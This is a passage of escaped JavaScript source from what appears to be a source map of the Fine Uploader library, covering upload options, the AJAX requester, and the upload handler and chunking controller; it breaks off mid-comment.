\"qqtotalparts\"\n                },\n                partSize: 2000000,\n                // only relevant for traditional endpoints, only required when concurrent.enabled === true\n                success: {\n                    endpoint: null\n                }\n            },\n\n            resume: {\n                enabled: false,\n                recordsExpireIn: 7, //days\n                paramNames: {\n                    resuming: \"qqresume\"\n                }\n            },\n\n            formatFileName: function(fileOrBlobName) {\n                return fileOrBlobName;\n            },\n\n            text: {\n                defaultResponseError: \"Upload failure reason unknown\",\n                fileInputTitle: \"file input\",\n                sizeSymbols: [\"kB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\"]\n            },\n\n            deleteFile: {\n                enabled: false,\n                method: \"DELETE\",\n                endpoint: \"/server/upload\",\n                customHeaders: {},\n                params: {}\n            },\n\n            cors: {\n                expected: false,\n                sendCredentials: false,\n                allowXdr: false\n            },\n\n            blobs: {\n                defaultName: \"misc_data\"\n            },\n\n            paste: {\n                targetElement: null,\n                defaultName: \"pasted_image\"\n            },\n\n            camera: {\n                ios: false,\n\n                // if ios is true: button is null means target the default button, otherwise target the button specified\n                button: null\n            },\n\n            // This refers to additional upload buttons to be handled by Fine Uploader.\n            // Each element is an object, containing `element` as the only required\n            // property.  The `element` must be a container that will ultimately\n            // contain an invisible `<input type=\"file\">` created by Fine Uploader.\n            // Optional properties of each object include `multiple`, `validation`,\n            // and `folders`.\n            extraButtons: [],\n\n            // Depends on the session module.  Used to query the server for an initial file list\n            // during initialization and optionally after a `reset`.\n            session: {\n                endpoint: null,\n                params: {},\n                customHeaders: {},\n                refreshOnReset: true\n            },\n\n            // Send parameters associated with an existing form along with the files\n            form: {\n                // Element ID, HTMLElement, or null\n                element: \"qq-form\",\n\n                // Overrides the base `autoUpload`, unless `element` is null.\n                autoUpload: false,\n\n                // true = upload files on form submission (and squelch submit event)\n                interceptSubmit: true\n            },\n\n            // scale images client side, upload a new file for each scaled version\n            scaling: {\n                customResizer: null,\n\n                // send the original file as well\n                sendOriginal: true,\n\n                // fox orientation for scaled images\n                orient: true,\n\n                // If null, scaled image type will match reference image type.  This value will be referred to\n                // for any size record that does not specific a type.\n                defaultType: null,\n\n                defaultQuality: 80,\n\n                failureText: \"Failed to scale\",\n\n                includeExif: false,\n\n                // metadata about each requested scaled version\n                sizes: []\n            },\n\n            workarounds: {\n                iosEmptyVideos: true,\n                ios8SafariUploads: true,\n                ios8BrowserCrash: false\n            }\n        };\n\n        // Replace any default options with user defined ones\n        qq.extend(this._options, o, true);\n\n        this._buttons = [];\n        this._extraButtonSpecs = {};\n        this._buttonIdsForFileIds = [];\n\n        this._wrapCallbacks();\n        this._disposeSupport =  new qq.DisposeSupport();\n\n        this._storedIds = [];\n        this._autoRetries = [];\n        this._retryTimeouts = [];\n        this._preventRetries = [];\n        this._thumbnailUrls = [];\n\n        this._netUploadedOrQueued = 0;\n        this._netUploaded = 0;\n        this._uploadData = this._createUploadDataTracker();\n\n        this._initFormSupportAndParams();\n\n        this._customHeadersStore = this._createStore(this._options.request.customHeaders);\n        this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);\n\n        this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);\n\n        this._endpointStore = this._createStore(this._options.request.endpoint);\n        this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);\n\n        this._handler = this._createUploadHandler();\n\n        this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();\n\n        if (this._options.button) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._options.button,\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._generateExtraButtonSpecs();\n\n        this._handleCameraAccess();\n\n        if (this._options.paste.targetElement) {\n            if (qq.PasteSupport) {\n                this._pasteHandler = this._createPasteHandler();\n            }\n            else {\n                this.log(\"Paste support module not found\", \"error\");\n            }\n        }\n\n        this._preventLeaveInProgress();\n\n        this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));\n        this._refreshSessionData();\n\n        this._succeededSinceLastAllComplete = [];\n        this._failedSinceLastAllComplete = [];\n\n        this._scaler = (qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this))) || {};\n        if (this._scaler.enabled) {\n            this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);\n        }\n\n        if (qq.TotalProgress && qq.supportedFeatures.progressBar) {\n            this._totalProgress = new qq.TotalProgress(\n                qq.bind(this._onTotalProgress, this),\n\n                function(id) {\n                    var entry = self._uploadData.retrieve({id: id});\n                    return (entry && entry.size) || 0;\n                }\n            );\n        }\n\n        this._currentItemLimit = this._options.validation.itemLimit;\n    };\n\n    // Define the private & public API methods.\n    qq.FineUploaderBasic.prototype = qq.basePublicApi;\n    qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);\n}());\n","/*globals qq, XDomainRequest*/\n/** Generic class for sending non-upload ajax requests and handling the associated responses **/\nqq.AjaxRequester = function(o) {\n    \"use strict\";\n\n    var log, shouldParamsBeInQueryString,\n        queue = [],\n        requestData = {},\n        options = {\n            acceptHeader: null,\n            validMethods: [\"PATCH\", \"POST\", \"PUT\"],\n            method: \"POST\",\n            contentType: \"application/x-www-form-urlencoded\",\n            maxConnections: 3,\n            customHeaders: {},\n            endpointStore: {},\n            paramsStore: {},\n            mandatedParams: {},\n            allowXRequestedWithAndCacheControl: true,\n            successfulResponseCodes: {\n                DELETE: [200, 202, 204],\n                PATCH: [200, 201, 202, 203, 204],\n                POST: [200, 201, 202, 203, 204],\n                PUT: [200, 201, 202, 203, 204],\n                GET: [200]\n            },\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onSend: function(id) {},\n            onComplete: function(id, xhrOrXdr, isError) {},\n            onProgress: null\n        };\n\n    qq.extend(options, o);\n    log = options.log;\n\n    if (qq.indexOf(options.validMethods, options.method) < 0) {\n        throw new Error(\"'\" + options.method + \"' is not a supported method for this type of request!\");\n    }\n\n    // [Simple methods](http://www.w3.org/TR/cors/#simple-method)\n    // are defined by the W3C in the CORS spec as a list of methods that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function isSimpleMethod() {\n        return qq.indexOf([\"GET\", \"POST\", \"HEAD\"], options.method) >= 0;\n    }\n\n    // [Simple headers](http://www.w3.org/TR/cors/#simple-header)\n    // are defined by the W3C in the CORS spec as a list of headers that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function containsNonSimpleHeaders(headers) {\n        var containsNonSimple = false;\n\n        qq.each(containsNonSimple, function(idx, header) {\n            if (qq.indexOf([\"Accept\", \"Accept-Language\", \"Content-Language\", \"Content-Type\"], header) < 0) {\n                containsNonSimple = true;\n                return false;\n            }\n        });\n\n        return containsNonSimple;\n    }\n\n    function isXdr(xhr) {\n        //The `withCredentials` test is a commonly accepted way to determine if XHR supports CORS.\n        return options.cors.expected && xhr.withCredentials === undefined;\n    }\n\n    // Returns either a new `XMLHttpRequest` or `XDomainRequest` instance.\n    function getCorsAjaxTransport() {\n        var xhrOrXdr;\n\n        if (window.XMLHttpRequest || window.ActiveXObject) {\n            xhrOrXdr = qq.createXhrInstance();\n\n            if (xhrOrXdr.withCredentials === undefined) {\n                xhrOrXdr = new XDomainRequest();\n                // Workaround for XDR bug in IE9 - https://social.msdn.microsoft.com/Forums/ie/en-US/30ef3add-767c-4436-b8a9-f1ca19b4812e/ie9-rtm-xdomainrequest-issued-requests-may-abort-if-all-event-handlers-not-specified?forum=iewebdevelopment\n                xhrOrXdr.onload = function() {};\n                xhrOrXdr.onerror = function() {};\n                xhrOrXdr.ontimeout = function() {};\n                xhrOrXdr.onprogress = function() {};\n            }\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Returns either a new XHR/XDR instance, or an existing one for the associated `File` or `Blob`.\n    function getXhrOrXdr(id, suppliedXhr) {\n        var xhrOrXdr = requestData[id].xhr;\n\n        if (!xhrOrXdr) {\n            if (suppliedXhr) {\n                xhrOrXdr = suppliedXhr;\n            }\n            else {\n                if (options.cors.expected) {\n                    xhrOrXdr = getCorsAjaxTransport();\n                }\n                else {\n                    xhrOrXdr = qq.createXhrInstance();\n                }\n            }\n\n            requestData[id].xhr = xhrOrXdr;\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Removes element from queue, sends next request\n    function dequeue(id) {\n        var i = qq.indexOf(queue, id),\n            max = options.maxConnections,\n            nextId;\n\n        delete requestData[id];\n        queue.splice(i, 1);\n\n        if (queue.length >= max && i < max) {\n            nextId = queue[max - 1];\n            sendRequest(nextId);\n        }\n    }\n\n    function onComplete(id, xdrError) {\n        var xhr = getXhrOrXdr(id),\n            method = options.method,\n            isError = xdrError === true;\n\n        dequeue(id);\n\n        if (isError) {\n            log(method + \" request for \" + id + \" has failed\", \"error\");\n        }\n        else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {\n            isError = true;\n            log(method + \" request for \" + id + \" has failed - response code \" + xhr.status, \"error\");\n        }\n\n        options.onComplete(id, xhr, isError);\n    }\n\n    function getParams(id) {\n        var onDemandParams = requestData[id].additionalParams,\n            mandatedParams = options.mandatedParams,\n            params;\n\n        if (options.paramsStore.get) {\n            params = options.paramsStore.get(id);\n        }\n\n        if (onDemandParams) {\n            qq.each(onDemandParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        if (mandatedParams) {\n            qq.each(mandatedParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        return params;\n    }\n\n    function sendRequest(id, optXhr) {\n        var xhr = getXhrOrXdr(id, optXhr),\n            method = options.method,\n            params = getParams(id),\n            payload = requestData[id].payload,\n            url;\n\n        options.onSend(id);\n\n        url = createUrl(id, params, requestData[id].additionalQueryParams);\n\n        // XDR and XHR status detection APIs differ a bit.\n        if (isXdr(xhr)) {\n            xhr.onload = getXdrLoadHandler(id);\n            xhr.onerror = getXdrErrorHandler(id);\n        }\n        else {\n            xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);\n        }\n\n        registerForUploadProgress(id);\n\n        // The last parameter is assumed to be ignored if we are actually using `XDomainRequest`.\n        xhr.open(method, url, true);\n\n        // Instruct the transport to send cookies along with the CORS request,\n        // unless we are using `XDomainRequest`, which is not capable of this.\n        if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {\n            xhr.withCredentials = true;\n        }\n\n        setHeaders(id);\n\n        log(\"Sending \" + method + \" request for \" + id);\n\n        if (payload) {\n            xhr.send(payload);\n        }\n        else if (shouldParamsBeInQueryString || !params) {\n            xhr.send();\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/x-www-form-urlencoded\") >= 0) {\n            xhr.send(qq.obj2url(params, \"\"));\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/json\") >= 0) {\n            xhr.send(JSON.stringify(params));\n        }\n        else {\n            xhr.send(params);\n        }\n\n        return xhr;\n    }\n\n    function createUrl(id, params, additionalQueryParams) {\n        var endpoint = options.endpointStore.get(id),\n            addToPath = requestData[id].addToPath;\n\n        /*jshint -W116,-W041 */\n        if (addToPath != undefined) {\n            endpoint += \"/\" + addToPath;\n        }\n\n        if (shouldParamsBeInQueryString && params) {\n            endpoint = qq.obj2url(params, endpoint);\n        }\n\n        if (additionalQueryParams) {\n            endpoint = qq.obj2url(additionalQueryParams, endpoint);\n        }\n\n        return endpoint;\n    }\n\n    // Invoked by the UA to indicate a number of possible states that describe\n    // a live `XMLHttpRequest` transport.\n    function getXhrReadyStateChangeHandler(id) {\n        return function() {\n            if (getXhrOrXdr(id).readyState === 4) {\n                onComplete(id);\n            }\n        };\n    }\n\n    function registerForUploadProgress(id) {\n        var onProgress = options.onProgress;\n\n        if (onProgress) {\n            getXhrOrXdr(id).upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    onProgress(id, e.loaded, e.total);\n                }\n            };\n        }\n    }\n\n    // This will be called by IE to indicate **success** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrLoadHandler(id) {\n        return function() {\n            onComplete(id);\n        };\n    }\n\n    // This will be called by IE to indicate **failure** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrErrorHandler(id) {\n        return function() {\n            onComplete(id, true);\n        };\n    }\n\n    function setHeaders(id) {\n        var xhr = getXhrOrXdr(id),\n            customHeaders = options.customHeaders,\n            onDemandHeaders = requestData[id].additionalHeaders || {},\n            method = options.method,\n            allHeaders = {};\n\n        // If XDomainRequest is being used, we can't set headers, so just ignore this block.\n        if (!isXdr(xhr)) {\n            options.acceptHeader && xhr.setRequestHeader(\"Accept\", options.acceptHeader);\n\n            // Only attempt to add X-Requested-With & Cache-Control if permitted\n            if (options.allowXRequestedWithAndCacheControl) {\n                // Do not add X-Requested-With & Cache-Control if this is a cross-origin request\n                // OR the cross-origin request contains a non-simple method or header.\n                // This is done to ensure a preflight is not triggered exclusively based on the\n                // addition of these 2 non-simple headers.\n                if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {\n                    xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n                    xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n                }\n            }\n\n            if (options.contentType && (method === \"POST\" || method === \"PUT\")) {\n                xhr.setRequestHeader(\"Content-Type\", options.contentType);\n            }\n\n            qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);\n            qq.extend(allHeaders, onDemandHeaders);\n\n            qq.each(allHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        }\n    }\n\n    function isResponseSuccessful(responseCode) {\n        return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;\n    }\n\n    function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {\n        requestData[id] = {\n            addToPath: addToPath,\n            additionalParams: additionalParams,\n            additionalQueryParams: additionalQueryParams,\n            additionalHeaders: additionalHeaders,\n            payload: payload\n        };\n\n        var len = queue.push(id);\n\n        // if too many active connections, wait...\n        if (len <= options.maxConnections) {\n            return sendRequest(id, optXhr);\n        }\n    }\n\n    shouldParamsBeInQueryString = options.method === \"GET\" || options.method === \"DELETE\";\n\n    qq.extend(this, {\n        // Start the process of sending the request.  The ID refers to the file associated with the request.\n        initTransport: function(id) {\n            var path, params, headers, payload, cacheBuster, additionalQueryParams;\n\n            return {\n                // Optionally specify the end of the endpoint path for the request.\n                withPath: function(appendToPath) {\n                    path = appendToPath;\n                    return this;\n                },\n\n                // Optionally specify additional parameters to send along with the request.\n                // These will be added to the query string for GET/DELETE requests or the payload\n                // for POST/PUT requests.  The Content-Type of the request will be used to determine\n                // how these parameters should be formatted as well.\n                withParams: function(additionalParams) {\n                    params = additionalParams;\n                    return this;\n                },\n\n                withQueryParams: function(_additionalQueryParams_) {\n                    additionalQueryParams = _additionalQueryParams_;\n                    return this;\n                },\n\n                // Optionally specify additional headers to send along with the request.\n                withHeaders: function(additionalHeaders) {\n                    headers = additionalHeaders;\n                    return this;\n                },\n\n                // Optionally specify a payload/body for the request.\n                withPayload: function(thePayload) {\n                    payload = thePayload;\n                    return this;\n                },\n\n                // Appends a cache buster (timestamp) to the request URL as a query parameter (only if GET or DELETE)\n                withCacheBuster: function() {\n                    cacheBuster = true;\n                    return this;\n                },\n\n                // Send the constructed request.\n                send: function(optXhr) {\n                    if (cacheBuster && qq.indexOf([\"GET\", \"DELETE\"], options.method) >= 0) {\n                        params.qqtimestamp = new Date().getTime();\n                    }\n\n                    return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);\n                }\n            };\n        },\n\n        canceled: function(id) {\n            dequeue(id);\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common upload handler functions.\n *\n * @constructor\n */\nqq.UploadHandler = function(spec) {\n    \"use strict\";\n\n    var proxy = spec.proxy,\n        fileState = {},\n        onCancel = proxy.onCancel,\n        getName = proxy.getName;\n\n    qq.extend(this, {\n        add: function(id, fileItem) {\n            fileState[id] = fileItem;\n            fileState[id].temp = {};\n        },\n\n        cancel: function(id) {\n            var self = this,\n                cancelFinalizationEffort = new qq.Promise(),\n                onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);\n\n            onCancelRetVal.then(function() {\n                if (self.isValid(id)) {\n                    fileState[id].canceled = true;\n                    self.expunge(id);\n                }\n                cancelFinalizationEffort.success();\n            });\n        },\n\n        expunge: function(id) {\n            delete fileState[id];\n        },\n\n        getThirdPartyFileId: function(id) {\n            return fileState[id].key;\n        },\n\n        isValid: function(id) {\n            return fileState[id] !== undefined;\n        },\n\n        reset: function() {\n            fileState = {};\n        },\n\n        _getFileState: function(id) {\n            return fileState[id];\n        },\n\n        _setThirdPartyFileId: function(id, thirdPartyFileId) {\n            fileState[id].key = thirdPartyFileId;\n        },\n\n        _wasCanceled: function(id) {\n            return !!fileState[id].canceled;\n        }\n    });\n};\n","/*globals qq*/\n/**\n * Base upload handler module.  Controls more specific handlers.\n *\n * @param o Options.  Passed along to the specific handler submodule as well.\n * @param namespace [optional] Namespace for the specific handler.\n */\nqq.UploadHandlerController = function(o, namespace) {\n    \"use strict\";\n\n    var controller = this,\n        chunkingPossible = false,\n        concurrentChunkingPossible = false,\n        chunking, preventRetryResponse, log, handler,\n\n    options = {\n        paramsStore: {},\n        maxConnections: 3, // maximum number of concurrent uploads\n        chunking: {\n            enabled: false,\n            multiple: {\n                enabled: false\n            }\n        },\n        log: function(str, level) {},\n        onProgress: function(id, fileName, loaded, total) {},\n        onComplete: function(id, fileName, response, xhr) {},\n        onCancel: function(id, fileName) {},\n        onUploadPrep: function(id) {}, // Called if non-trivial operations will be performed before onUpload\n        onUpload: function(id, fileName) {},\n        onUploadChunk: function(id, fileName, chunkData) {},\n        onUploadChunkSuccess: function(id, chunkData, response, xhr) {},\n        onAutoRetry: function(id, fileName, response, xhr) {},\n        onResume: function(id, fileName, chunkData) {},\n        onUuidChanged: function(id, newUuid) {},\n        getName: function(id) {},\n        setSize: function(id, newSize) {},\n        isQueued: function(id) {},\n        getIdsInProxyGroup: function(id) {},\n        getIdsInBatch: function(id) {}\n    },\n\n    chunked = {\n        // Called when each chunk has uploaded successfully\n        done: function(id, chunkIdx, response, xhr) {\n            var chunkData = handler._getChunkData(id, chunkIdx);\n\n            handler._getFileState(id).attemptingResume = false;\n\n            delete handler._getFileState(id).temp.chunkProgress[chunkIdx];\n            handler._getFileState(id).loaded += chunkData.size;\n\n            options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);\n        },\n\n        // Called when all chunks have been successfully uploaded and we want to ask the handler to perform any\n        // logic associated with closing out the file, such as combining the chunks.\n        finalize: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id);\n\n            log(\"All chunks have been uploaded for \" + id + \" - finalizing....\");\n            handler.finalizeChunks(id).then(\n                function(response, xhr) {\n                    log(\"Finalize successful for \" + id);\n\n                    var normaizedResponse = upload.normalizeResponse(response, true);\n\n                    options.onProgress(id, name, size, size);\n                    handler._maybeDeletePersistedChunkData(id);\n                    upload.cleanup(id, normaizedResponse, xhr);\n                },\n                function(response, xhr) {\n                    var normaizedResponse = upload.normalizeResponse(response, false);\n\n                    log(\"Problem finalizing chunks for file ID \" + id + \" - \" + normaizedResponse.error, \"error\");\n\n                    if (normaizedResponse.reset) {\n                        chunked.reset(id);\n                    }\n\n                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {\n                        upload.cleanup(id, normaizedResponse, xhr);\n                    }\n                }\n            );\n        },\n\n        hasMoreParts: function(id) {\n            return !!handler._getFileState(id).chunking.remaining.length;\n        },\n\n        nextPart: function(id) {\n            var nextIdx = handler._getFileState(id).chunking.remaining.shift();\n\n            if (nextIdx >= handler._getTotalChunks(id)) {\n                nextIdx = null;\n            }\n\n            return nextIdx;\n        },\n\n        reset: function(id) {\n            log(\"Server or callback has ordered chunking effort to be restarted on next attempt for item ID \" + id, \"error\");\n\n            handler._maybeDeletePersistedChunkData(id);\n            handler.reevaluateChunking(id);\n            handler._getFileState(id).loaded = 0;\n        },\n\n        sendNext: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id),\n                chunkIdx = chunked.nextPart(id),\n                chunkData = handler._getChunkData(id, chunkIdx),\n                resuming = handler._getFileState(id).attemptingResume,\n                inProgressChunks = handler._getFileState(id).chunking.inProgress || [];\n\n            if (handler._getFileState(id).loaded == null) {\n                handler._getFileState(id).loaded = 0;\n            }\n\n            // Don't follow-through with the resume attempt if the integrator returns false from onResume\n            if (resuming && options.onResume(id, name, chunkData) === false) {\n                chunked.reset(id);\n                chunkIdx = chunked.nextPart(id);\n                chunkData = handler._getChunkData(id, chunkIdx);\n                resuming = false;\n            }\n\n            // If all chunks have already uploaded successfully, we must be re-attempting the finalize step.\n            if (chunkIdx == null && inProgressChunks.length === 0) {\n                chunked.finalize(id);\n            }\n\n            // Send the next chunk\n            else {\n                log(qq.format(\"Sending chunked upload request for item {}.{}, bytes {}-{} of {}.\", id, chunkIdx, chunkData.start + 1, chunkData.end, size));\n                options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));\n                inProgressChunks.push(chunkIdx);\n                handler._getFileState(id).chunking.inProgress = inProgressChunks;\n\n                if (concurrentChunkingPossible) {\n                    connectionManager.open(id, chunkIdx);\n                }\n\n                if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {\n                    chunked.sendNext(id);\n                }\n\n                handler.uploadChunk(id, chunkIdx, resuming).then(\n                    // upload chunk success\n                    function success(response, xhr) {\n                        log(\"Chunked upload request succeeded for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [],\n                            responseToReport = upload.normalizeResponse(response, true),\n                            inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);\n\n                        log(qq.format(\"Chunk {} for file {} uploaded successfully.\", chunkIdx, id));\n\n                        chunked.done(id, chunkIdx, responseToReport, xhr);\n\n                        if (inProgressChunkIdx >= 0) {\n                            inProgressChunks.splice(inProgressChunkIdx, 1);\n                        }\n\n                        handler._maybePersistChunkedState(id);\n\n                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {\n                            chunked.finalize(id);\n                        }\n                        else if (chunked.hasMoreParts(id)) {\n                            chunked.sendNext(id);\n                        }\n                        else {\n                            log(qq.format(\"File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}\", id, JSON.stringify(inProgressChunks)));\n                        }\n                    },\n\n                    // upload chunk failure\n                    function failure(response, xhr) {\n                        log(\"Chunked upload request failed for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var responseToReport = upload.normalizeResponse(response, false),\n                            inProgressIdx;\n\n                        if (responseToReport.reset) {\n                            chunked.reset(id);\n                        }\n                        else {\n                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);\n                            if (inProgressIdx >= 0) {\n                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);\n                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);\n                            }\n                        }\n\n                        // We may have aborted all other in-progress chunks for this file due to a failure.\n                        // If so, ignore the failures associated with those aborts.\n                        if (!handler._getFileState(id).temp.ignoreFailure) {\n                            // If this chunk has failed, we want to ignore all other failures of currently in-progress\n                            // chunks since they will be explicitly aborted\n                            if (concurrentChunkingPossible) {\n                                handler._getFileState(id).temp.ignoreFailure = true;\n\n                                log(qq.format(\"Going to attempt to abort these chunks: {}. These are currently in-progress: {}.\", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));\n                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {\n                                    log(qq.format(\"Attempting to abort file {}.{}. XHR readyState {}. \", id, ckid, ckXhr.readyState));\n                                    ckXhr.abort();\n                                    // Flag the transport, in case we are waiting for some other async operation\n                                    // to complete before attempting to upload the chunk\n                                    ckXhr._cancelled = true;\n                                });\n\n                                // We must indicate that all aborted chunks are no longer in progress\n                                handler.moveInProgressToRemaining(id);\n\n                                // Free up any connections used by these chunks, but don't allow any\n                                // other files to take up the connections (until we have exhausted all auto-retries)\n                                connectionManager.free(id, true);\n                            }\n\n                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {\n                                // If one chunk fails, abort all of the others to avoid odd race conditions that occur\n                                // if a chunk succeeds immediately after one fails before we have determined if the upload\n                                // is a failure or not.\n                                upload.cleanup(id, responseToReport, xhr);\n                            }\n                        }\n                    }\n                )\n                    .done(function() {\n                        handler.clearXhr(id, chunkIdx);\n                    });\n            }\n        }\n    },\n\n    connectionManager = {\n        _open: [],\n        _openChunks: {},\n        _waiting: [],\n\n        available: function() {\n            var max = options.maxConnections,\n                openChunkEntriesCount = 0,\n                openChunksCount = 0;\n\n            qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {\n                openChunkEntriesCount++;\n                openChunksCount += openChunkIndexes.length;\n            });\n\n            return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);\n        },\n\n        /**\n         * Removes element from queue, starts upload of next\n         */\n        free: function(id, dontAllowNext) {\n            var allowNext = !dontAllowNext,\n                waitingIndex = qq.indexOf(connectionManager._waiting, id),\n                connectionsIndex = qq.indexOf(connectionManager._open, id),\n                nextId;\n\n            delete connectionManager._openChunks[id];\n\n            if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {\n                log(\"Generated blob upload has ended for \" + id + \", disposing generated blob.\");\n                delete handler._getFileState(id).file;\n            }\n\n            // If this file was not consuming a connection, it was just waiting, so remove it from the waiting array\n            if (waitingIndex >= 0) {\n                connectionManager._waiting.splice(waitingIndex, 1);\n            }\n            // If this file was consuming a connection, allow the next file to be uploaded\n            else if (allowNext && connectionsIndex >= 0) {\n                connectionManager._open.splice(connectionsIndex, 1);\n\n                nextId = connectionManager._waiting.shift();\n                if (nextId >= 0) {\n                    connectionManager._open.push(nextId);\n                    upload.start(nextId);\n                }\n            }\n        },\n\n        getWaitingOrConnected: function() {\n            var waitingOrConnected = [];\n\n            // Chunked files may have multiple connections open per chunk (if concurrent chunking is enabled)\n            // We need to grab the file ID of any file that has at least one chunk consuming a connection.\n            qq.each(connectionManager._openChunks, function(fileId, chunks) {\n                if (chunks && chunks.length) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // For non-chunked files, only one connection will be consumed per file.\n            // This is where we aggregate those file IDs.\n            qq.each(connectionManager._open, function(idx, fileId) {\n                if (!connectionManager._openChunks[fileId]) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // There may be files waiting for a connection.\n            waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);\n\n            return waitingOrConnected;\n        },\n\n        isUsingConnection: function(id) {\n            return qq.indexOf(connectionManager._open, id) >= 0;\n        },\n\n        open: function(id, chunkIdx) {\n            if (chunkIdx == null) {\n                connectionManager._waiting.push(id);\n            }\n\n            if (connectionManager.available()) {\n                if (chunkIdx == null) {\n                    connectionManager._waiting.pop();\n                    connectionManager._open.push(id);\n                }\n                else {\n                    (function() {\n                        var openChunksEntry = connectionManager._openChunks[id] || [];\n                        openChunksEntry.push(chunkIdx);\n                        connectionManager._openChunks[id] = openChunksEntry;\n                    }());\n                }\n\n                return true;\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            connectionManager._waiting = [];\n            connectionManager._open = [];\n        }\n    },\n\n    simple = {\n        send: function(id, name) {\n            handler._getFileState(id).loaded = 0;\n\n            log(\"Sending simple upload request for \" + id);\n            handler.uploadFile(id).then(\n                function(response, optXhr) {\n                    log(\"Simple upload request succeeded for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, true),\n                        size = options.getSize(id);\n\n                    options.onProgress(id, name, size, size);\n                    upload.maybeNewUuid(id, responseToReport);\n                    upload.cleanup(id, responseToReport, optXhr);\n                },\n\n                function(response, optXhr) {\n                    log(\"Simple upload request failed for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, false);\n\n                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {\n                        upload.cleanup(id, responseToReport, optXhr);\n                    }\n                }\n            );\n        }\n    },\n\n    upload = {\n        cancel: function(id) {\n            log(\"Cancelling \" + id);\n            options.paramsStore.remove(id);\n            connectionManager.free(id);\n        },\n\n        cleanup: function(id, response, optXhr) {\n            var name = options.getName(id);\n\n            options.onComplete(id, name, response, optXhr);\n\n            if (handler._getFileState(id)) {\n                handler._clearXhrs && handler._clearXhrs(id);\n            }\n\n            connectionManager.free(id);\n        },\n\n        // Returns a qq.BlobProxy, or an actual File/Blob if no proxy is involved, or undefined\n        // if none of these are available for the ID\n        getProxyOrBlob: function(id) {\n            return (handler.getProxy && handler.getProxy(id)) ||\n                (handler.getFile && handler.getFile(id));\n        },\n\n        initHandler: function() {\n            var handlerType = namespace ? qq[namespace] : qq.traditional,\n                handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? \"Xhr\" : \"Form\";\n\n            handler = new handlerType[handlerModuleSubtype + \"UploadHandler\"](\n                options,\n                {\n                    getDataByUuid: options.getDataByUuid,\n                    getName: options.getName,\n                    getSize: options.getSize,\n                    getUuid: options.getUuid,\n                    log: log,\n                    onCancel: options.onCancel,\n                    onProgress: options.onProgress,\n                    onUuidChanged: options.onUuidChanged\n                }\n            );\n\n            if (handler._removeExpiredChunkingRecords) {\n                handler._removeExpiredChunkingRecords();\n            }\n        },\n\n        isDeferredEligibleForUpload: function(id) {\n            return options.isQueued(id);\n        },\n\n        // For Blobs that are part of a group of generated images, along with a reference image,\n        // this will ensure the blobs in the group are uploaded in the order they 